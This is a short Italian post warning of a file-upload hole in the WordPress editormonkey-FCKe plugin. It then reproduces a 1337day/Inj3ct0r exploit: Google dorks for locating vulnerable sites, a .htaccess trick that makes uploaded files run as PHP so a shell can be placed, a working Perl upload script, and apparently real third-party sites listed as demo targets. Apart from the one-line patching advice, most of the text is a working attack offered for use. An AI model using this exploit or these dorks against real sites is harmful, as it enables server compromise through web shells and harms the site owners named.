Scoperta vulnerabilità nel sistema di file upload del plugin editormonkey-FCke. La vulnerabilità permette di uplodare qualsiasi file si voglia, per esempio potrebbe essere un file che apre una shell sul server per avere accesso come utente apache, vi consiglio di patchare il vostro WordPress il prima possibile. Di seguito l’exploit.


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : WordPress Plugins (editormonkey-FCKe) Multiple File Upload Vulnerabilities
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected] | [email protected]
# Home : Hassi.Messaoud (30008) - Algeria -(00213555248701)
# Facebook : http://facebook.com/KedAns
# platform : php
# Impact : File Upload
# Tested on : Windows 7 (fr)
##

# ya houcin ya Ov3r-X rebbi ydjiblek ecShFfa (*_^)

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << | # | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ------------------------------------------------- < | ### + G0oglE d0rk's : - allinurl:plugins/editormonkey/fckeditor/editor/filemanager/browser/default/browser.html -
allinurl:wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html + p0c : if test.php =>

creating .htaccess file :
SetHandler application/x-httpd-php

-- and Upload him ^
+ Upload Shrll_php.txt
++ Find him in : http://target/UserFile/shell.php.txt

Dem0's :

http://nhwgcap.org/_wing/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html
http://nhwgcap.org/_wing/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/browser/default/browser.html
http://atghope.org/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/browser/default/browser.html
http://atghope.org/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html

---------------------------------------------------------------------------------------

o0R : ThiS PErl Scr!Pt3 :

#!/usr/bin/perl
system ("title KedAns-Dz");
system ("color 1e");
system ("cls");
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <> Provided By KedAns-Dz << |
|= e-mail : ked-h[at]hotmail.com |
|==================================================|
INTRO
print "\n";
print "[!] Enter URL(f.e: http://target.com): ";
chomp(my $url=);
print "\n";
print "[!] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)
chomp(my $file=);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/php/upload.php?Type=File',
Content_Type => 'multipart/form-data',
Content =>
[
actions => 'upload',
NewFile => $file,
] );
print "\n";
if($re->is_success) {
if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }
else { print "[-] File Upload Is Disabled! Failed!\n"; }
} else { print "[-] HTTP request Failed!\n"; }
exit;

_END_

-----------------------------------------

// SP-thX t0 : { Islampard }

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > + Rizky Ariestiyansyah * Islam Caddy # + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * SeeMe * XroGuE * ZoRLu * gunslinger_
# anT!-Tr0J4n * ^Xecuti0N3r * Kalashinkov3 (www.1337day.com/team) * Dz Offenders Cr3w * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================